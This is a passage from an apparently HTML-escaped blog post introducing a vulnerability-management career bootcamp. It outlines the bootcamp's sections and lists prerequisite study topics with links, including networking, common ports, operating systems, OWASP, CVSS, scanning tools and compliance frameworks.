  &lt;li&gt;Here lies the necessary &lt;strong&gt;disclaimer&lt;/strong&gt; that this “bootcamp” does not guarantee that you will be given interview opportunities nor that by completing the bootcamp you will be 100% prepared for any and all &lt;a href=&quot;#interview-questions&quot;&gt;questions/prompts&lt;/a&gt; you may encounter in a &lt;a href=&quot;#vm-interview&quot;&gt;VM interview&lt;/a&gt;. I have, to the best of my ability, attempted to provide as much information, both purely &lt;a href=&quot;#vm-knowledge-pre-requisites&quot;&gt;academic&lt;/a&gt; as well as &lt;a href=&quot;#vm-bootcamp-lab&quot;&gt;practical&lt;/a&gt; which aims to achieve the &lt;a href=&quot;#bootcamp-objectives&quot;&gt;objectives&lt;/a&gt; set forth in the previous section.&lt;/li&gt;
  &lt;li&gt;The goal of this bootcamp is not to make one an &lt;em&gt;expert&lt;/em&gt; in all things VM. As such, there are many facets of VM that are only superficially covered or not mentioned at all. Expertise is developed over time and through years of experience and personal research. Though the goal of this piece is merely to introduce VM and give someone enough understanding to ace an interview, I am working on a more comprehensive compendium of VM knowledge - &lt;em&gt;so stay tuned for that&lt;/em&gt;!&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;bootcamp-sections&quot;&gt;Bootcamp Sections&lt;/h3&gt;
&lt;p&gt;The bootcamp is comprised of the following five sections…&lt;/p&gt;

&lt;h6 id=&quot;part-1-vm-knowledge-pre-requisites&quot;&gt;Part 1: &lt;a href=&quot;#vm-knowledge-pre-requisites&quot;&gt;VM Knowledge Pre-Requisites&lt;/a&gt;&lt;/h6&gt;
&lt;p&gt;Vulnerability Management, though “entry-level” in many respects, still requires a level of &lt;a href=&quot;https://shellsharks.com/getting-into-information-security#fundamental-information-security-domains&quot;&gt;foundational infosec knowledge&lt;/a&gt;. This section provides an accelerated course of study through these knowledge areas. This is delivered though both statically-defined &lt;em&gt;tips&lt;/em&gt; as well as externally-sourced references. The expectation is to have a &lt;em&gt;fundamental&lt;/em&gt; grasp of these concepts and be able to speak reasonably well about them in an interview.&lt;/p&gt;

&lt;h6 id=&quot;part-2-vm-bootcamp-lab&quot;&gt;Part 2: &lt;a href=&quot;#vm-bootcamp-lab&quot;&gt;VM Bootcamp Lab&lt;/a&gt;&lt;/h6&gt;
&lt;p&gt;This is the main portion of the bootcamp which walks you through &lt;a href=&quot;#exercise-0-lab-setup&quot;&gt;how to set up the lab environment&lt;/a&gt; and how to perform a variety of different processes and actions related to VM. In this section there are also provided exercises designed to test your knowledge and understanding along the way. &lt;em&gt;These questions have &lt;a href=&quot;#lab-exercise-answers&quot;&gt;answers provided&lt;/a&gt;&lt;/em&gt;. Ultimately, this section will help you demonstrate in an &lt;a href=&quot;#vm-interview&quot;&gt;interview&lt;/a&gt;, your hands-on understanding of the tools and techniques of the VM trade.&lt;/p&gt;

&lt;h6 id=&quot;part-3-scenario-based-exercises&quot;&gt;Part 3: &lt;a href=&quot;#scenario-based-exercises&quot;&gt;Scenario-Based Exercises&lt;/a&gt;&lt;/h6&gt;
&lt;p&gt;As &lt;a href=&quot;#what-the-bootcamp-doesnt-cover&quot;&gt;described previously&lt;/a&gt;, the &lt;a href=&quot;#scenario-based-exercises&quot;&gt;scenario-based questions&lt;/a&gt; are open-ended and designed to be exploratory topics rooted in real-world situations I have encountered in my years in the VM arena. I encourage those who have produced solutions to these questions to &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;contact&lt;/a&gt; me or start a discussion in the &lt;a href=&quot;https://discord.gg/3rkHgtcYbb&quot;&gt;Shellsharks Discord&lt;/a&gt;. By solving these challenges, you best prepare yourself for solving &lt;a href=&quot;#vulnerability-management-day-to-day&quot;&gt;similar problems&lt;/a&gt; once “on-the-job”.&lt;/p&gt;

&lt;h6 id=&quot;part-4-finding-a-job-in-vm&quot;&gt;Part 4: &lt;a href=&quot;#how-to-find-a-vm-job&quot;&gt;Finding a Job in VM&lt;/a&gt;&lt;/h6&gt;
&lt;p&gt;After you &lt;a href=&quot;#vm-knowledge-prerequisites&quot;&gt;learn the basics&lt;/a&gt; but before you actually &lt;em&gt;get&lt;/em&gt; an &lt;a href=&quot;#vm-interview&quot;&gt;interview&lt;/a&gt;, you must first &lt;em&gt;find&lt;/em&gt; actual VM jobs to apply to. This isn’t always straight-forward. This section will share some tips on how to best pinpoint VM-related jobs to apply to.&lt;/p&gt;

&lt;h6 id=&quot;part-5-the-interview&quot;&gt;Part 5: &lt;a href=&quot;#vm-interview&quot;&gt;The Interview&lt;/a&gt;&lt;/h6&gt;
&lt;p&gt;Finally, I provide a list (that I will continue to contribute to) of likely &lt;a href=&quot;#interview-questions&quot;&gt;interview questions&lt;/a&gt; you may encounter during an entry-level VM job interview. Accompanying each of these questions is one &lt;em&gt;possible&lt;/em&gt; answer (or a reference which can help you understand the answer). These questions will cover a variety of topics but will mostly be sourced from the &lt;a href=&quot;#vm-knowledge-pre-requisites&quot;&gt;VM knowledge pre-reqs&lt;/a&gt; and the &lt;a href=&quot;#vm-bootcamp-lab&quot;&gt;lab exercises&lt;/a&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;center&gt;&lt;i class=&quot;ph ph-backpack lg&quot;&gt;&lt;/i&gt;&lt;/center&gt;

&lt;h1 id=&quot;vm-knowledge-pre-requisites&quot;&gt;VM Knowledge Pre-Requisites&lt;/h1&gt;
&lt;p&gt;To get started in VM, there are a handful of knowledge areas that are &lt;em&gt;in my opinion&lt;/em&gt; critical to have a basis in. As it pertains to the &lt;a href=&quot;bootcamp-objectives&quot;&gt;objective&lt;/a&gt; of this bootcamp, understanding these fundamental areas will best equip you to succeed in a &lt;a href=&quot;#vm-interview&quot;&gt;VM interview&lt;/a&gt; and execute from day one once accepting a VM job offer. This pre-requisite material is &lt;em&gt;succinctly&lt;/em&gt; listed below, either as informational snippets or externally-linked references. Where possible, I summarize why or what specifically may be required for you to understand about a specific topic. The goal of which is to reduce the total amount of prep that is needed to &lt;em&gt;simply&lt;/em&gt; ace an interview.&lt;/p&gt;

&lt;h6 id=&quot;networking&quot;&gt;Networking&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;TCP “&lt;a href=&quot;https://www.geeksforgeeks.org/tcp-3-way-handshake-process/&quot;&gt;Three-Way Handshake&lt;/a&gt;”” - Understand &lt;em&gt;SYN –&amp;gt; SYN/ACK –&amp;gt; ACK&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cloudflare.com/learning/ddos/glossary/open-systems-interconnection-model-osi/&quot;&gt;OSI model&lt;/a&gt; - Know the layers in order and generally what they are responsible for.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nmap.org/book/intro.html&quot;&gt;NMAP&lt;/a&gt; - Know what &lt;em&gt;Nmap&lt;/em&gt; is and what some of the basic &lt;a href=&quot;https://nmap.org/book/port-scanning-options.html&quot;&gt;flags&lt;/a&gt; do.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nmap.org/book/man-port-scanning-techniques.html&quot;&gt;Port Scan Techniques&lt;/a&gt; (e.g. &lt;em&gt;SYN&lt;/em&gt;, &lt;em&gt;connect&lt;/em&gt;, &lt;em&gt;UDP&lt;/em&gt;, &lt;em&gt;NULL&lt;/em&gt;, &lt;em&gt;FIN&lt;/em&gt;, &lt;em&gt;Xmas&lt;/em&gt;, &lt;em&gt;ACK&lt;/em&gt;, &lt;em&gt;Zombie&lt;/em&gt;, etc…) - Best to at least understand the &lt;em&gt;SYN&lt;/em&gt;, &lt;em&gt;connect&lt;/em&gt; and &lt;em&gt;UDP&lt;/em&gt; scan types.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/tcp-flags/&quot;&gt;TCP Flags&lt;/a&gt; (i.e. &lt;em&gt;SYN&lt;/em&gt;, &lt;em&gt;ACK&lt;/em&gt;, &lt;em&gt;FIN&lt;/em&gt;, &lt;em&gt;RST&lt;/em&gt;, &lt;em&gt;PSH&lt;/em&gt;, &lt;em&gt;URG&lt;/em&gt;) - Know what each is used for.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/network-devices-hub-repeater-bridge-switch-router-gateways/&quot;&gt;Network Devices&lt;/a&gt; - Understand what the basic networking devices are and what they do.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/differences-between-tcp-and-udp/&quot;&gt;TCP vs UDP&lt;/a&gt; - Understand the basic differences between TCP and UDP.&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;ports--protocols&quot;&gt;Ports &amp;amp; Protocols&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cloudflare.com/learning/ddos/glossary/internet-control-message-protocol-icmp/&quot;&gt;ICMP&lt;/a&gt; - Understand how it’s used for the &lt;em&gt;ping&lt;/em&gt; and Microsoft &lt;em&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tracert&quot;&gt;tracert&lt;/a&gt;&lt;/em&gt; utilities.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tools.ietf.org/html/rfc6056#section-2&quot;&gt;Ephemeral Ports&lt;/a&gt; - What are “ephemeral” ports and why are they different than &lt;em&gt;system&lt;/em&gt; / “well-known” ports.&lt;/li&gt;
  &lt;li&gt;*&lt;em&gt;For each of the protocols specified below, simply understand what they are and remember the associated port number. Other ports and protocols &lt;a href=&quot;#interview-questions&quot;&gt;may be asked about during an interview&lt;/a&gt; but the ones below makeup a majority of the popular ports/protocols.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Protocol  &lt;/th&gt;
      &lt;th&gt;TCP/UDP  &lt;/th&gt;
      &lt;th&gt;Port #&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;FTP&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;TCP&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;20&lt;/strong&gt;/&lt;strong&gt;21&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;SSH&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;TCP&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;22&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;Telnet&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;TCP&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;23&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;SMTP&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;TCP&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;25&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;DNS&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;TCP &amp;amp; UDP &lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;53&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;DHCP&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;UDP&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;67&lt;/strong&gt;/&lt;strong&gt;68&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;HTTP&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;TCP&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;80&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;POP3&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;TCP&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;110&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;NTP&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;TCP&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;123&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;NetBIOS&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;TCP&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;137&lt;/strong&gt;/&lt;strong&gt;138&lt;/strong&gt;/&lt;strong&gt;139&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;SNMP&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;UDP&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;161&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;LDAP&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;TCP&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;389&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;HTTPS&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;TCP&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;443&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;SMB&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;TCP&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;445&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;MySQL&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;TCP&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;3306&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;em&gt;RDP&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;TCP&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;3389&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h6 id=&quot;operating-systems&quot;&gt;Operating Systems&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://helpdeskgeek.com/help-desk/21-cmd-commands-all-windows-users-should-know/&quot;&gt;Basic Windows CLI&lt;/a&gt; - Learn basic Windows CLI commands (e.g. &lt;em&gt;ipconfig&lt;/em&gt;, &lt;em&gt;netstat&lt;/em&gt;, &lt;em&gt;ping&lt;/em&gt;, &lt;em&gt;tracert&lt;/em&gt;, &lt;em&gt;systeminfo&lt;/em&gt;, &lt;em&gt;net use&lt;/em&gt;, &lt;em&gt;regedit&lt;/em&gt;, &lt;em&gt;net user&lt;/em&gt;, etc…) You &lt;em&gt;may&lt;/em&gt; be asked about specific commands but more likely an interviewer will just ask you qualitatively, how “familiar” you are with Windows.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://opensource.com/article/17/7/20-sysadmin-commands&quot;&gt;Basic Linux CLI&lt;/a&gt; - Learn basic Linux CLI commands (e.g. &lt;em&gt;curl&lt;/em&gt;, &lt;em&gt;ls&lt;/em&gt;, &lt;em&gt;tail&lt;/em&gt;, &lt;em&gt;cat&lt;/em&gt;, &lt;em&gt;grep&lt;/em&gt;, &lt;em&gt;ps&lt;/em&gt;, &lt;em&gt;top&lt;/em&gt;, &lt;em&gt;netstat&lt;/em&gt;, &lt;em&gt;ifconfig&lt;/em&gt;, &lt;em&gt;ip&lt;/em&gt;, &lt;em&gt;df&lt;/em&gt;, &lt;em&gt;du&lt;/em&gt;, &lt;em&gt;id&lt;/em&gt;, &lt;em&gt;chmod&lt;/em&gt;, &lt;em&gt;nslookup&lt;/em&gt;, &lt;em&gt;ping&lt;/em&gt;, etc…) You &lt;em&gt;may&lt;/em&gt; be asked about specific commands but more likely an interviewer will just ask you qualitatively, how “familiar” you are with Linux.&lt;/li&gt;
  &lt;li&gt;Linux &lt;a href=&quot;https://www.howtogeek.com/117435/htg-explains-the-linux-directory-structure-explained/&quot;&gt;file directory structure&lt;/a&gt; (e.g. &lt;em&gt;root&lt;/em&gt;, &lt;em&gt;bin&lt;/em&gt;, &lt;em&gt;cdrom&lt;/em&gt;, &lt;em&gt;dev&lt;/em&gt;, &lt;em&gt;etc&lt;/em&gt;, &lt;em&gt;home&lt;/em&gt;, &lt;em&gt;lib&lt;/em&gt;, &lt;em&gt;media&lt;/em&gt;, &lt;em&gt;mnt&lt;/em&gt;, &lt;em&gt;opt&lt;/em&gt;, &lt;em&gt;proc&lt;/em&gt;, &lt;em&gt;run&lt;/em&gt;, &lt;em&gt;sbin&lt;/em&gt;, &lt;em&gt;tmp&lt;/em&gt;, etc…) - Understand what is typically found in each of these directories.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.digitalocean.com/community/tutorials/ssh-essentials-working-with-ssh-servers-clients-and-keys&quot;&gt;SSH&lt;/a&gt; - What is SSH used for? I also recommend having &lt;em&gt;SSH’ed&lt;/em&gt; into something as practice.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.howtogeek.com/school/windows-network-security/lesson5/&quot;&gt;Windows Firewall&lt;/a&gt; - Just be mildly familiar.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://danielmiessler.com/study/iptables/&quot;&gt;Linux Firewall / iptables&lt;/a&gt; - Just understand the basics.&lt;/li&gt;
  &lt;li&gt;Understand that when designing a network scanning architecture within an organization, the scanners themselves must be whitelisted on any firewalls &lt;a href=&quot;https://www.tenable.com/blog/4-ways-to-improve-nessus-scans-through-firewalls&quot;&gt;in order that they can scan devices&lt;/a&gt; residing behind those firewalls.&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;vulnerabilities&quot;&gt;Vulnerabilities&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top 10&lt;/a&gt; - Have some familiarity with and be able to define some of the vulnerabilities on this list (especially &lt;em&gt;XSS&lt;/em&gt;, &lt;em&gt;CSRF&lt;/em&gt; and &lt;em&gt;SQLi&lt;/em&gt;). It may help to understand the different types of &lt;em&gt;XSS&lt;/em&gt; (i.e. stored, reflected and DOM-based.)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/top25/archive/2020/2020_cwe_top25.html&quot;&gt;CWE Top 25&lt;/a&gt; - Have some familiarity with the vulnerabilities on this list.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln&quot;&gt;NVD&lt;/a&gt; - Know what NVD is and the general composition of a &lt;em&gt;&lt;a href=&quot;https://cve.mitre.org/about/faqs.html&quot;&gt;CVE&lt;/a&gt;&lt;/em&gt;/vulnerability.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.f5.com/labs/articles/education/what-is-the-cia-triad&quot;&gt;CIA Triad&lt;/a&gt; - Understand what &lt;strong&gt;Confidentiality&lt;/strong&gt;, &lt;strong&gt;Integrity&lt;/strong&gt; and &lt;strong&gt;Availability&lt;/strong&gt; mean and how they relate to vulnerabilities.&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;vulnerability-management&quot;&gt;Vulnerability Management&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;Shellsharks &lt;a href=&quot;https://shellsharks.com/symphonic-vulnerability-surface-mapping#a-primer-on-vulnerability-management&quot;&gt;VM Primer&lt;/a&gt; - Read and understand the VM lifecycle (i.e. &lt;em&gt;identifying&lt;/em&gt;, &lt;em&gt;classifying&lt;/em&gt;, &lt;em&gt;analyzing&lt;/em&gt;, &lt;em&gt;prioritizing&lt;/em&gt;, &lt;em&gt;reporting&lt;/em&gt;, &lt;em&gt;remediating&lt;/em&gt; and &lt;em&gt;mitigating&lt;/em&gt; vulnerabilities).&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rapid7.com/fundamentals/vulnerability-management-and-scanning/&quot;&gt;Rapid7’s Definition of VM&lt;/a&gt; - Read and be able to define VM in your own words.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tenable.com/vulnerability-management&quot;&gt;Tenable’s Definition of VM&lt;/a&gt; - Read and be able to define VM in your own words.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cisecurity.org/controls/continuous-vulnerability-management/&quot;&gt;Continuous Vulnerability Management&lt;/a&gt; - Download the CIS controls doc and skim the sub-controls for CIS Control 3.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cisecurity.org/cis-benchmarks/&quot;&gt;CIS Secure Configuration Benchmarks&lt;/a&gt; - Know what the CIS Benchmarks are at a high-level.&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;vm-tools&quot;&gt;VM Tools&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tenable.com/products&quot;&gt;Tenable Suite&lt;/a&gt; - Know what &lt;a href=&quot;https://www.tenable.com/products/nessus/nessus-professional&quot;&gt;Nessus&lt;/a&gt;, &lt;a href=&quot;https://www.tenable.com/products/tenable-sc&quot;&gt;tenable.sc&lt;/a&gt; and &lt;a href=&quot;https://www.tenable.com/products/tenable-io&quot;&gt;tenable.io&lt;/a&gt; are.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tenable.com/products/nessus&quot;&gt;Tenable Nessus&lt;/a&gt; - Nessus is Tenable’s network/endpoint scanning tool. The &lt;a href=&quot;https://www.tenable.com/products/nessus/nessus-essentials&quot;&gt;free version&lt;/a&gt; of this tool is covered in the &lt;a href=&quot;#vm-bootcamp-lab&quot;&gt;bootcamp lab&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.qualys.com/offer/use-qualys-scan-and-discover-your-network-vulnerabilities&quot;&gt;Qualys&lt;/a&gt; - Another network scanning tool.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rapid7.com/products/nexpose/&quot;&gt;Rapid7 Nexpose&lt;/a&gt; - …and &lt;em&gt;another&lt;/em&gt; network scanning tool.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.openvas.org&quot;&gt;OpenVAS&lt;/a&gt; - An &lt;em&gt;open-source&lt;/em&gt; scanning tool that has a &lt;a href=&quot;https://www.openvas.org/about.html&quot;&gt;shared history&lt;/a&gt; with Nessus.&lt;/li&gt;
  &lt;li&gt;Collectively, it is good to just be familiar with what tools are out there in the VM space. There really should be no expectation that you are an expert or have even used all of these.&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;risk-analysis&quot;&gt;Risk Analysis&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss&quot;&gt;CVSS&lt;/a&gt; - Understand how scores are &lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator&quot;&gt;calculated&lt;/a&gt; using the various CVSS metrics (e.g. &lt;em&gt;base&lt;/em&gt;, &lt;em&gt;temporal&lt;/em&gt;, &lt;em&gt;environmental&lt;/em&gt;, etc…)&lt;/li&gt;
  &lt;li&gt;Understand common mitigating/compensating controls (e.g. antivirus, IPS, application whitelisting, non-administrative accounts, etc…) The &lt;a href=&quot;https://www.cisecurity.org/controls/cis-controls-list/&quot;&gt;20 CIS Controls&lt;/a&gt; are a good place to get a &lt;a href=&quot;https://blog.netwrix.com/2018/02/01/top-20-critical-security-controls-for-effective-cyber-defense/&quot;&gt;better understanding&lt;/a&gt; of some of these controls and how they reduce residual risk.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.indeed.com/career-advice/career-development/risk-mitigation-strategies&quot;&gt;The 5 Risk Mitigation Methods&lt;/a&gt; - &lt;strong&gt;Accept&lt;/strong&gt;, &lt;strong&gt;Avoid&lt;/strong&gt;, &lt;strong&gt;Control&lt;/strong&gt;, &lt;strong&gt;Transfer&lt;/strong&gt;, &lt;strong&gt;Monitor&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityscorecard.com/blog/it-security-risk-assessment-methodology&quot;&gt;Quantitative vs Qualitative Risk Analysis&lt;/a&gt; - Be able to do simple analyses using both of these methodologies.&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;complianceregulatory-frameworks&quot;&gt;Compliance/Regulatory Frameworks&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;*&lt;em&gt;You need only have a high-level understanding of each of the following frameworks. Be able to describe what they are at a minimum.&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://csrc.nist.gov/Projects/risk-management/sp800-53-controls/release-search#!/800-53&quot;&gt;NIST 800-53&lt;/a&gt; - Be familiar with some of the controls and at a high-level what this document is.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nist.gov/cyberframework&quot;&gt;NIST CSF&lt;/a&gt; - &lt;strong&gt;Identify&lt;/strong&gt;, &lt;strong&gt;Protect&lt;/strong&gt;, &lt;strong&gt;Detect&lt;/strong&gt;, &lt;strong&gt;Respond&lt;/strong&gt;, &lt;strong&gt;Recover&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pcisecuritystandards.org/documents/PCI_DSS-QRG-v3_2_1.pdf&quot;&gt;PCI&lt;/a&gt; - Compliance standards for merchants who accept credit card payments.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.iso.org/isoiec-27001-information-security.html&quot;&gt;ISO 27001&lt;/a&gt; - Industry framework detailing security requirements for information security management systems (ISMS)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hhs.gov/hipaa/index.html&quot;&gt;HIPAA&lt;/a&gt; - Framework for protecting sensitive patient health information (PHI).&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;rest-apis--scripting&quot;&gt;REST APIs &amp;amp; Scripting&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.python.org&quot;&gt;Python&lt;/a&gt; - Popular programming language. This is my &lt;strong&gt;recommended&lt;/strong&gt; language for those &lt;a href=&quot;https://shellsharks.com/getting-into-information-security#title&quot;&gt;getting into infosec&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.learnpython.org&quot;&gt;Learn a little Python&lt;/a&gt; - I recommend being familiar enough with Python that you could comfortably list it on your resume. This goes a long way in terms of standing out in an &lt;a href=&quot;#vm-interview&quot;&gt;interview&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://restfulapi.net&quot;&gt;REST&lt;/a&gt; - REST APIs are built into &lt;em&gt;a lot&lt;/em&gt; of different security tools. Knowing what they are and how to use them is an invaluable skill and one that would really help you stand out in an interview.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://realpython.com/api-integration-in-python/&quot;&gt;Writing against REST APIs in Python&lt;/a&gt; - Some information on how exactly to programmatically use a REST API using Python.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com&quot;&gt;Github&lt;/a&gt; - I recommend creating a Github account, writing a simple script or two (in Python for example) and making it publicly available on your Github. This will demonstrate to prospective employers your knowledge of scripting. An example of a possible script you could write will be covered in the &lt;a href=&quot;#exercise-7-scripting--automation&quot;&gt;bootcamp lab&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;regex&quot;&gt;Regex&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://regexone.com&quot;&gt;Regex Tutorial&lt;/a&gt; - Regex is used quite a bit in infosec. I recommend you know what it is so you can speak to it in an interview if necessary.&lt;/li&gt;
  &lt;li&gt;Regex Tester(s) - &lt;a href=&quot;https://regexr.com&quot;&gt;regexr&lt;/a&gt;, &lt;a href=&quot;https://regex101.com&quot;&gt;regex101&lt;/a&gt;, &lt;a href=&quot;https://www.regextester.com&quot;&gt;regextester&lt;/a&gt; are handy tools when testing out &lt;a href=&quot;https://www.regular-expressions.info&quot;&gt;Regex&lt;/a&gt; queries you have built.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;center&gt;&lt;i class=&quot;ph ph-flask lg&quot;&gt;&lt;/i&gt;&lt;/center&gt;

&lt;h1 id=&quot;vm-bootcamp-lab&quot;&gt;VM Bootcamp Lab&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;Alright&lt;/em&gt;! If you’ve made it this far, you’re comfortable enough with the &lt;a href=&quot;#vm-knowledge-pre-requisites&quot;&gt;recommended pre-reqs&lt;/a&gt; and are ready to get into the hands-on portion of the bootcamp. The goal of these exercises is to give you real-world, practical experience you can reference on a resume. This should give you the credit and confidence needed to show well in a &lt;a href=&quot;#vm-interview&quot;&gt;VM interview&lt;/a&gt;. To get started, I’ve provided a list of what you will need to accomplish the bootcamp exercises. At the end of each lab exercise, there will be a series of questions designed to help test your knowledge and understanding.&lt;/p&gt;

&lt;h5 id=&quot;what-youll-need&quot;&gt;What You’ll Need&lt;/h5&gt;
&lt;ul&gt;
